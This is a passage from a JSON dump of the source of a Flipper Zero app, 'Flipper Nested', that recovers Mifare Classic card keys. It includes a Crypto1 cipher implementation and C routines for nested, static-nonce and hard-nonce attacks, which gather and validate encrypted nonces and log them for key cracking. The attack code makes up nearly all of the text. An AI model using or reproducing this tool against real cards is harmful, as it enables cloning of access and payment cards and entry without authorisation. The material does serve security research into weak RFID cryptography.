    "content": "App(\n    appid=\"mifare_nested\",\n    name=\"Flipper Nested\",\n    apptype=FlipperAppType.EXTERNAL,\n    entry_point=\"mifare_nested_app\",\n    requires=[\n        \"storage\",\n        \"gui\",\n        \"nfc\"\n    ],\n    stack_size=4 * 1024,\n    order=30,\n    fap_icon=\"assets/icon.png\",\n    fap_category=\"NFC\",\n    fap_private_libs=[\n        Lib(name=\"nested\"),\n        Lib(name=\"parity\"),\n        Lib(name=\"crypto1\")\n    ],\n    fap_icon_assets=\"assets\",\n    fap_author=\"AloneLiberty\",\n    fap_description=\"Recover Mifare Classic keys\",\n    fap_weburl=\"https://github.com/AloneLiberty/FlipperNested\",\n    fap_version=\"1.5.2\"\n)\n"
  },
  {
    "path": "lib/crypto1/crypto1.c",
    "content": "#include \"crypto1.h\"\n#include <string.h>\n\nvoid crypto1_reset(Crypto1* crypto1) {\n    furi_assert(crypto1);\n    crypto1->even = 0;\n    crypto1->odd = 0;\n}\n\nvoid crypto1_init(Crypto1* crypto1, uint64_t key) {\n    furi_assert(crypto1);\n    crypto1->even = 0;\n    crypto1->odd = 0;\n    for(int8_t i = 47; i > 0; i -= 2) {\n        crypto1->odd = crypto1->odd << 1 | FURI_BIT(key, (i - 1) ^ 7);\n        crypto1->even = crypto1->even << 1 | FURI_BIT(key, i ^ 7);\n    }\n}\n\nuint32_t crypto1_filter(uint32_t in) {\n    uint32_t out = 0;\n    out = 0xf22c0 >> (in & 0xf) & 16;\n    out |= 0x6c9c0 >> (in >> 4 & 0xf) & 8;\n    out |= 0x3c8b0 >> (in >> 8 & 0xf) & 4;\n    out |= 0x1e458 >> (in >> 12 & 0xf) & 2;\n    out |= 0x0d938 >> (in >> 16 & 0xf) & 1;\n    return FURI_BIT(0xEC57E80A, out);\n}\n\nuint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted) {\n    furi_assert(crypto1);\n    uint8_t out = crypto1_filter(crypto1->odd);\n    uint32_t feed = out & (!!is_encrypted);\n    feed ^= !!in;\n    feed ^= LF_POLY_ODD & crypto1->odd;\n    feed ^= LF_POLY_EVEN & crypto1->even;\n    crypto1->even = crypto1->even << 1 | (evenparity32(feed));\n\n    FURI_SWAP(crypto1->odd, crypto1->even);\n    return out;\n}\n\nuint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted) {\n    furi_assert(crypto1);\n    uint8_t out = 0;\n    for(uint8_t i = 0; i < 8; i++) {\n        out |= crypto1_bit(crypto1, FURI_BIT(in, i), is_encrypted) << i;\n    }\n    return out;\n}\n\nuint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted) {\n    furi_assert(crypto1);\n    uint32_t out = 0;\n    for(uint8_t i = 0; i < 32; i++) {\n        out |= (uint32_t)crypto1_bit(crypto1, BEBIT(in, i), is_encrypted) << (24 ^ i);\n    }\n    return out;\n}\n\nuint32_t prng_successor(uint32_t x, uint32_t n) {\n    SWAPENDIAN(x);\n    while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;\n\n    return SWAPENDIAN(x);\n}\n\nvoid crypto1_decrypt(\n    Crypto1* crypto,\n    uint8_t* encrypted_data,\n    uint16_t encrypted_data_bits,\n    uint8_t* decrypted_data) {\n    furi_assert(crypto);\n    furi_assert(encrypted_data);\n    furi_assert(decrypted_data);\n\n    if(encrypted_data_bits < 8) {\n        uint8_t decrypted_byte = 0;\n        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 0)) << 0;\n        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 1)) << 1;\n        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 2)) << 2;\n        decrypted_byte |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(encrypted_data[0], 3)) << 3;\n        decrypted_data[0] = decrypted_byte;\n    } else {\n        for(size_t i = 0; i < encrypted_data_bits / 8; i++) {\n            decrypted_data[i] = crypto1_byte(crypto, 0, 0) ^ encrypted_data[i];\n        }\n    }\n}\n\nvoid crypto1_encrypt(\n    Crypto1* crypto,\n    uint8_t* keystream,\n    uint8_t* plain_data,\n    uint16_t plain_data_bits,\n    uint8_t* encrypted_data,\n    uint8_t* encrypted_parity) {\n    furi_assert(crypto);\n    furi_assert(plain_data);\n    furi_assert(encrypted_data);\n    furi_assert(encrypted_parity);\n\n    if(plain_data_bits < 8) {\n        encrypted_data[0] = 0;\n        for(size_t i = 0; i < plain_data_bits; i++) {\n            encrypted_data[0] |= (crypto1_bit(crypto, 0, 0) ^ FURI_BIT(plain_data[0], i)) << i;\n        }\n    } else {\n        memset(encrypted_parity, 0, plain_data_bits / 8 + 1);\n        for(uint8_t i = 0; i < plain_data_bits / 8; i++) {\n            encrypted_data[i] = crypto1_byte(crypto, keystream ? keystream[i] : 0, 0) ^\n                                plain_data[i];\n            encrypted_parity[i / 8] |=\n                (((crypto1_filter(crypto->odd) ^ oddparity8(plain_data[i])) & 0x01)\n                 << (7 - (i & 0x0007)));\n        }\n    }\n}"
  },
  {
    "path": "lib/crypto1/crypto1.h",
    "content": "#include \"../../lib/parity/parity.h\"\n#include <lib/nfc/protocols/mifare_classic.h>\n#include <lib/nfc/protocols/crypto1.h>\n#include \"stddef.h\"\n\n#define LF_POLY_ODD (0x29CE5C)\n#define LF_POLY_EVEN (0x870804)\n\n#define SWAPENDIAN(x) \\\n    ((x) = ((x) >> 8 & 0xff00ff) | ((x)&0xff00ff) << 8, (x) = (x) >> 16 | (x) << 16)\n#define BEBIT(x, n) FURI_BIT(x, (n) ^ 24)\n\nvoid crypto1_reset(Crypto1* crypto1);\n\nvoid crypto1_init(Crypto1* crypto1, uint64_t key);\n\nuint32_t crypto1_filter(uint32_t in);\n\nuint8_t crypto1_bit(Crypto1* crypto1, uint8_t in, int is_encrypted);\n\nuint8_t crypto1_byte(Crypto1* crypto1, uint8_t in, int is_encrypted);\n\nuint32_t crypto1_word(Crypto1* crypto1, uint32_t in, int is_encrypted);\n\nuint32_t prng_successor(uint32_t x, uint32_t n);\n\nvoid crypto1_decrypt(\n    Crypto1* crypto,\n    uint8_t* encrypted_data,\n    uint16_t encrypted_data_bits,\n    uint8_t* decrypted_data);\n\nvoid crypto1_encrypt(\n    Crypto1* crypto,\n    uint8_t* keystream,\n    uint8_t* plain_data,\n    uint16_t plain_data_bits,\n    uint8_t* encrypted_data,\n    uint8_t* encrypted_parity);"
  },
  {
    "path": "lib/nested/nested.c",
    "content": "#include \"nested.h\"\n\n#include <furi_hal_nfc.h>\n#include \"../../lib/parity/parity.h\"\n#include \"../../lib/crypto1/crypto1.h\"\n#define TAG \"Nested\"\n\nuint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) {\n    uint16_t crc = 0x6363; // NFCA_CRC_INIT\n    uint8_t byte = 0;\n\n    for(uint8_t i = 0; i < len; i++) {\n        byte = buff[i];\n        byte ^= (uint8_t)(crc & 0xff);\n        byte ^= byte << 4;\n        crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^\n              (((uint16_t)byte) >> 4);\n    }\n\n    return crc;\n}\n\nvoid nfca_append_crc16(uint8_t* buff, uint16_t len) {\n    uint16_t crc = nfca_get_crc16(buff, len);\n    buff[len] = (uint8_t)crc;\n    buff[len + 1] = (uint8_t)(crc >> 8);\n}\n\nbool mifare_sendcmd_short(\n    Crypto1* crypto,\n    FuriHalNfcTxRxContext* tx_rx,\n    bool crypted,\n    uint32_t cmd,\n    uint32_t data) {\n    uint16_t pos;\n    uint8_t dcmd[4] = {cmd, data, 0x00, 0x00};\n    nfca_append_crc16(dcmd, 2);\n\n    memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));\n    memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));\n\n    if(crypted) {\n        for(pos = 0; pos < 4; pos++) {\n            uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos];\n            tx_rx->tx_data[pos] = res;\n            tx_rx->tx_parity[0] |=\n                (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos));\n        }\n\n        tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;\n        tx_rx->tx_bits = 4 * 8;\n    } else {\n        for(pos = 0; pos < 2; pos++) {\n            tx_rx->tx_data[pos] = dcmd[pos];\n        }\n\n        tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc;\n        tx_rx->tx_bits = 2 * 8;\n    }\n\n    if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false;\n\n    return true;\n}\n\nbool mifare_classic_authex(\n    Crypto1* crypto,\n    FuriHalNfcTxRxContext* tx_rx,\n    uint32_t uid,\n    uint32_t blockNo,\n    uint32_t keyType,\n    uint64_t ui64Key,\n    bool isNested,\n    uint32_t* ntptr) {\n    uint32_t nt, ntpp; // Supplied tag nonce\n    uint8_t nr[4];\n\n    // \"random\" reader nonce:\n    nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT\n\n    // Transmit MIFARE_CLASSIC_AUTH\n    if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) {\n        return false;\n    };\n\n    memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data));\n    memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity));\n\n    nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);\n\n    if(isNested) crypto1_reset(crypto); // deinit\n\n    crypto1_init(crypto, ui64Key);\n\n    if(isNested) {\n        nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt;\n    } else {\n        crypto1_word(crypto, nt ^ uid, 0);\n    }\n\n    // save Nt\n    if(ntptr) *ntptr = nt;\n\n    // Generate (encrypted) nr+parity by loading it into the cipher (Nr)\n    tx_rx->tx_parity[0] = 0;\n    for(uint8_t i = 0; i < 4; i++) {\n        tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i];\n        tx_rx->tx_parity[0] |=\n            (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i));\n    }\n\n    nt = prng_successor(nt, 32);\n\n    for(uint8_t i = 4; i < 8; i++) {\n        nt = prng_successor(nt, 8);\n        tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff);\n        tx_rx->tx_parity[0] |=\n            (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i));\n    }\n\n    tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw;\n    tx_rx->tx_bits = 8 * 8;\n\n    if(!furi_hal_nfc_tx_rx(tx_rx, 25)) {\n        return false;\n    };\n\n    uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);\n\n    ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0);\n\n    if(answer != ntpp) {\n        return false;\n    }\n\n    return true;\n}\n\nstatic int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) {\n    return ((oddparity8((Nt >> 24) & 0xFF) ==\n             ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) &&\n            (oddparity8((Nt >> 16) & 0xFF) ==\n             ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) &&\n            (oddparity8((Nt >> 8) & 0xFF) ==\n             ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ?\n               1 :\n               0;\n}\n\nvoid nonce_distance(uint32_t* msb, uint32_t* lsb) {\n    uint16_t x = 1, pos;\n    uint8_t calc_ok = 0;\n\n    for(uint16_t i = 1; i; ++i) {\n        pos = (x & 0xff) << 8 | x >> 8;\n\n        if((pos == *msb) & !(calc_ok >> 0 & 0x01)) {\n            *msb = i;\n            calc_ok |= 0x01;\n        }\n\n        if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) {\n            *lsb = i;\n            calc_ok |= 0x02;\n        }\n\n        if(calc_ok == 0x03) {\n            return;\n        }\n\n        x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;\n    }\n}\n\nbool validate_prng_nonce(uint32_t nonce) {\n    uint32_t msb = nonce >> 16;\n    uint32_t lsb = nonce & 0xffff;\n    nonce_distance(&msb, &lsb);\n    return ((65535 - msb + lsb) % 65535) == 16;\n}\n\nMifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) {\n    uint32_t nonces[5] = {};\n    uint8_t sameNonces = 0;\n    uint8_t hardNonces = 0;\n    Crypto1 crypt;\n    Crypto1* crypto = {&crypt};\n\n    for(int32_t i = 0; i < 5; i++) {\n        // Setup nfc poller\n        nfc_activate();\n        furi_hal_nfc_activate_nfca(100, NULL);\n\n        // Start communication\n        bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo);\n        if(!success) {\n            continue;\n        };\n\n        uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);\n        if(nt == 0) continue;\n        if(!validate_prng_nonce(nt)) hardNonces++;\n        nonces[i] = nt;\n\n        nfc_deactivate();\n    }\n\n    for(int32_t i = 0; i < 5; i++) {\n        for(int32_t j = 0; j < 5; j++) {\n            if(i != j && nonces[j] && nonces[i] == nonces[j]) {\n                sameNonces++;\n            }\n        }\n    }\n\n    if(!nonces[4]) {\n        return MifareNestedNonceNoTag;\n    }\n\n    if(sameNonces > 3) {\n        return MifareNestedNonceStatic;\n    }\n\n    if(hardNonces > 3) {\n        return MifareNestedNonceHard;\n    }\n\n    return MifareNestedNonceWeak;\n}\n\nstruct nonce_info_static nested_static_nonce_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key) {\n    uint32_t cuid = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    struct nonce_info_static r;\n\n    r.full = false;\n\n    // Setup nfc poller\n    nfc_activate();\n    if(!furi_hal_nfc_activate_nfca(200, &cuid)) {\n        free(crypto);\n        return r;\n    }\n\n    r.cuid = cuid;\n\n    uint32_t nt1;\n    uint32_t nt_unused;\n\n    crypto1_reset(crypto);\n\n    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n    if(targetKeyType == 1 && nt1 == 0x009080A2) {\n        r.target_nt[0] = prng_successor(nt1, 161);\n        r.target_nt[1] = prng_successor(nt1, 321);\n    } else {\n        r.target_nt[0] = prng_successor(nt1, 160);\n        r.target_nt[1] = prng_successor(nt1, 320);\n    }\n\n    bool success =\n        mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);\n\n    if(!success) {\n        free(crypto);\n        return r;\n    };\n\n    uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);\n    r.target_ks[0] = nt2 ^ r.target_nt[0];\n\n    nfc_activate();\n\n    if(!furi_hal_nfc_activate_nfca(200, &cuid)) {\n        free(crypto);\n        return r;\n    }\n\n    crypto1_reset(crypto);\n\n    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n    mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused);\n\n    success =\n        mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);\n\n    free(crypto);\n\n    if(!success) {\n        return r;\n    };\n\n    uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4);\n\n    r.target_ks[1] = nt3 ^ r.target_nt[1];\n    r.full = true;\n\n    nfc_deactivate();\n\n    return r;\n}\n\nuint32_t nested_calibrate_distance(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key,\n    uint32_t delay,\n    bool full) {\n    uint32_t cuid = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;\n    uint32_t max_prng_value = full ? 65565 : 1200;\n    uint32_t rounds = full ? 5 : 17; // full does not require precision\n    uint32_t collected = 0;\n\n    for(rtr = 0; rtr < rounds; rtr++) {\n        nfc_activate();\n        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;\n\n        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) {\n            continue;\n        }\n\n        furi_delay_us(delay);\n\n        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) {\n            continue;\n        }\n\n        // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160\n        uint32_t nttmp = prng_successor(nt1, 100);\n\n        for(i = 101; i < max_prng_value; i++) {\n            nttmp = prng_successor(nttmp, 1);\n            if(nttmp == nt2) break;\n        }\n\n        if(i != max_prng_value) {\n            if(rtr != 0) {\n                davg += i;\n                dmin = MIN(dmin, i);\n                dmax = MAX(dmax, i);\n            } else {\n                dmin = dmax = i;\n            }\n\n            FURI_LOG_D(TAG, \"Calibrating: ntdist=%lu\", i);\n            collected++;\n        } else {\n            unsuccessful_tries++;\n            if(unsuccessful_tries > 12) {\n                free(crypto);\n                FURI_LOG_E(\n                    TAG,\n                    \"Tag isn't vulnerable to nested attack (random numbers are not predictable)\");\n                return 0;\n            }\n        }\n    }\n\n    if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1);\n\n    davg = MIN(MAX(dmin, davg), dmax);\n\n    FURI_LOG_I(\n        TAG,\n        \"Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu\",\n        rtr,\n        dmin,\n        dmax,\n        davg,\n        collected);\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return davg;\n}\n\nstruct distance_info nested_calibrate_distance_info(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key) {\n    uint32_t cuid = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0;\n    struct distance_info r;\n    r.min_prng = 0;\n    r.max_prng = 0;\n    r.mid_prng = 0;\n\n    for(rtr = 0; rtr < 10; rtr++) {\n        nfc_activate();\n        if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;\n\n        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);\n\n        // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160\n        uint32_t nttmp = prng_successor(nt1, 1);\n\n        for(i = 2; i < 65565; i++) {\n            nttmp = prng_successor(nttmp, 1);\n            if(nttmp == nt2) break;\n        }\n\n        if(i != 65565) {\n            if(rtr != 0) {\n                davg += i;\n                if(dmin == 0) {\n                    dmin = i;\n                } else {\n                    dmin = MIN(dmin, i);\n                }\n                dmax = MAX(dmax, i);\n            }\n\n            FURI_LOG_D(TAG, \"Calibrating: ntdist=%lu\", i);\n        } else {\n            unsuccessful_tries++;\n            if(unsuccessful_tries > 12) {\n                free(crypto);\n\n                FURI_LOG_E(\n                    TAG,\n                    \"Tag isn't vulnerable to nested attack (random numbers are not predictable)\");\n\n                return r;\n            }\n        }\n    }\n\n    if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1);\n\n    FURI_LOG_I(\n        TAG, \"Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu\", rtr, dmin, dmax, davg);\n\n    r.min_prng = dmin;\n    r.max_prng = dmax;\n    r.mid_prng = davg;\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return r;\n}\n\nstruct nonce_info nested_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key,\n    uint32_t distance,\n    uint32_t delay) {\n    uint32_t cuid = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    uint8_t par_array[4] = {0x00};\n    uint32_t nt1, nt2, ks1, i = 0, j = 0;\n    struct nonce_info r;\n    uint32_t dmin = distance - 2;\n    uint32_t dmax = distance + 2;\n\n    r.full = false;\n\n    for(i = 0; i < 2; i++) { // look for exactly two different nonces\n        r.target_nt[i] = 0;\n\n        while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce\n            nfc_activate();\n            if(!furi_hal_nfc_activate_nfca(200, &cuid)) {\n                free(crypto);\n                return r;\n            }\n\n            r.cuid = cuid;\n\n            mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);\n\n            furi_delay_us(delay);\n\n            bool success = mifare_sendcmd_short(\n                crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo);\n\n            if(!success) continue;\n\n            nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4);\n\n            // Parity validity check\n            for(j = 0; j < 4; j++) {\n                par_array[j] =\n                    (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));\n            }\n\n            uint32_t ncount = 0;\n            uint32_t nttest = prng_successor(nt1, dmin - 1);\n\n            for(j = dmin; j < dmax + 1; j++) {\n                nttest = prng_successor(nttest, 1);\n                ks1 = nt2 ^ nttest;\n\n                if(valid_nonce(nttest, nt2, ks1, par_array)) {\n                    if(ncount > 0) { // we are only interested in disambiguous nonces, try again\n                        FURI_LOG_D(TAG, \"Nonce#%lu: dismissed (ambiguous), ntdist=%lu\", i + 1, j);\n                        r.target_nt[i] = 0;\n                        break;\n                    }\n\n                    if(delay) {\n                        // will predict later\n                        r.target_nt[i] = nt1;\n                        r.target_ks[i] = nt2;\n                    } else {\n                        r.target_nt[i] = nttest;\n                        r.target_ks[i] = ks1;\n                    }\n\n                    memcpy(&r.parity[i], par_array, 4);\n                    ncount++;\n\n                    if(i == 1 &&\n                       (r.target_nt[0] == r.target_nt[1] ||\n                        r.target_ks[0] == r.target_ks[1])) { // we need two different nonces\n                        r.target_nt[i] = 0;\n                        FURI_LOG_D(TAG, \"Nonce#2: dismissed (= nonce#1), ntdist=%lu\", j);\n                        break;\n                    }\n\n                    FURI_LOG_D(TAG, \"Nonce#%lu: valid, ntdist=%lu\", i + 1, j);\n                }\n            }\n\n            if(r.target_nt[i] == 0 && j == dmax + 1) {\n                FURI_LOG_D(TAG, \"Nonce#%lu: dismissed (all invalid)\", i + 1);\n            }\n        }\n    }\n\n    if(r.target_nt[0] && r.target_nt[1]) {\n        r.full = true;\n    }\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return r;\n}\n\nstruct nonce_info_hard nested_hard_nonce_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key,\n    uint32_t* found,\n    uint32_t* first_byte_sum,\n    Stream* file_stream) {\n    uint32_t cuid = 0;\n    uint8_t same = 0;\n    uint64_t previous = 0;\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n    uint8_t par_array[4] = {0x00};\n    struct nonce_info_hard r;\n    r.full = false;\n    r.static_encrypted = false;\n\n    for(uint32_t i = 0; i < 8; i++) {\n        nfc_activate();\n        if(!furi_hal_nfc_activate_nfca(200, &cuid)) {\n            free(crypto);\n            return r;\n        }\n\n        r.cuid = cuid;\n\n        if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL))\n            continue;\n\n        if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo))\n            continue;\n\n        uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4);\n\n        for(uint32_t j = 0; j < 4; j++) {\n            par_array[j] =\n                (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01));\n        }\n\n        uint8_t pbits = 0;\n        for(uint8_t j = 0; j < 4; j++) {\n            uint8_t p = oddparity8(tx_rx->rx_data[j]);\n            if(par_array[j]) {\n                p ^= 1;\n            }\n            pbits <<= 1;\n            pbits |= p;\n        }\n\n        // update unique nonces\n        if(!found[tx_rx->rx_data[0]]) {\n            *first_byte_sum += evenparity32(pbits & 0x08);\n            found[tx_rx->rx_data[0]]++;\n        }\n\n        if(nt == previous) {\n            same++;\n        }\n\n        previous = nt;\n\n        FuriString* row = furi_string_alloc_printf(\"%llu|%u\\n\", nt, pbits);\n        stream_write_string(file_stream, row);\n\n        FURI_LOG_D(TAG, \"Accured %lu/8 nonces\", i + 1);\n        furi_string_free(row);\n    }\n\n    if(same > 4) {\n        r.static_encrypted = true;\n    }\n\n    r.full = true;\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return r;\n}\n\nNestedCheckKeyResult nested_check_key(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key) {\n    uint32_t cuid = 0;\n    uint32_t nt;\n\n    nfc_activate();\n    if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag;\n\n    FURI_LOG_D(\n        TAG, \"Checking %c key %012llX for block %u\", !keyType ? 'A' : 'B', ui64Key, blockNo);\n\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n\n    bool success =\n        mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt);\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return success ? NestedCheckKeyValid : NestedCheckKeyInvalid;\n}\n\nbool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) {\n    uint32_t cuid = 0;\n\n    nfc_activate();\n    if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false;\n\n    Crypto1* crypto = malloc(sizeof(Crypto1));\n\n    bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo);\n\n    free(crypto);\n\n    nfc_deactivate();\n\n    return success;\n}\n\nvoid nested_get_data(FuriHalNfcDevData* dev_data) {\n    nfc_activate();\n    furi_hal_nfc_detect(dev_data, 400);\n    nfc_deactivate();\n}\n\nvoid nfc_activate() {\n    nfc_deactivate();\n\n    // Setup nfc poller\n    furi_hal_nfc_exit_sleep();\n    furi_hal_nfc_ll_txrx_on();\n    furi_hal_nfc_ll_poll();\n    if(furi_hal_nfc_ll_set_mode(\n           FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) !=\n       FuriHalNfcReturnOk)\n        return;\n\n    furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER);\n    furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER);\n    furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc);\n    furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA);\n}\n\nvoid nfc_deactivate() {\n    furi_hal_nfc_ll_txrx_off();\n    furi_hal_nfc_start_sleep();\n    furi_hal_nfc_sleep();\n}\n"
  },
  {
    "path": "lib/nested/nested.h",
    "content": "#pragma once\n\n#include <lib/nfc/protocols/nfc_util.h>\n#include <lib/nfc/protocols/mifare_classic.h>\n#include <lib/nfc/protocols/crypto1.h>\n\n#include <storage/storage.h>\n#include <stream/stream.h>\n#include <stream/buffered_file_stream.h>\n\ntypedef enum {\n    MifareNestedNonceNoTag,\n    MifareNestedNonceWeak,\n    MifareNestedNonceStatic,\n    MifareNestedNonceHard,\n} MifareNestedNonceType;\n\nMifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo);\n\nstruct nonce_info_static {\n    uint32_t cuid;\n    uint32_t target_nt[2];\n    uint32_t target_ks[2];\n    bool full;\n};\n\nstruct nonce_info_hard {\n    uint32_t cuid;\n    bool static_encrypted;\n    bool full;\n};\n\nstruct nonce_info {\n    uint32_t cuid;\n    uint32_t target_nt[2];\n    uint32_t target_ks[2];\n    uint8_t parity[2][4];\n    bool full;\n};\n\nstruct distance_info {\n    uint32_t min_prng;\n    uint32_t max_prng;\n    uint32_t mid_prng;\n};\n\nstruct nonce_info_static nested_static_nonce_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key);\n\nstruct nonce_info nested_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key,\n    uint32_t distance,\n    uint32_t delay);\n\nstruct nonce_info_hard nested_hard_nonce_attack(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint8_t targetBlockNo,\n    uint8_t targetKeyType,\n    uint64_t ui64Key,\n    uint32_t* found,\n    uint32_t* first_byte_sum,\n    Stream* file_stream);\n\nuint32_t nested_calibrate_distance(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t 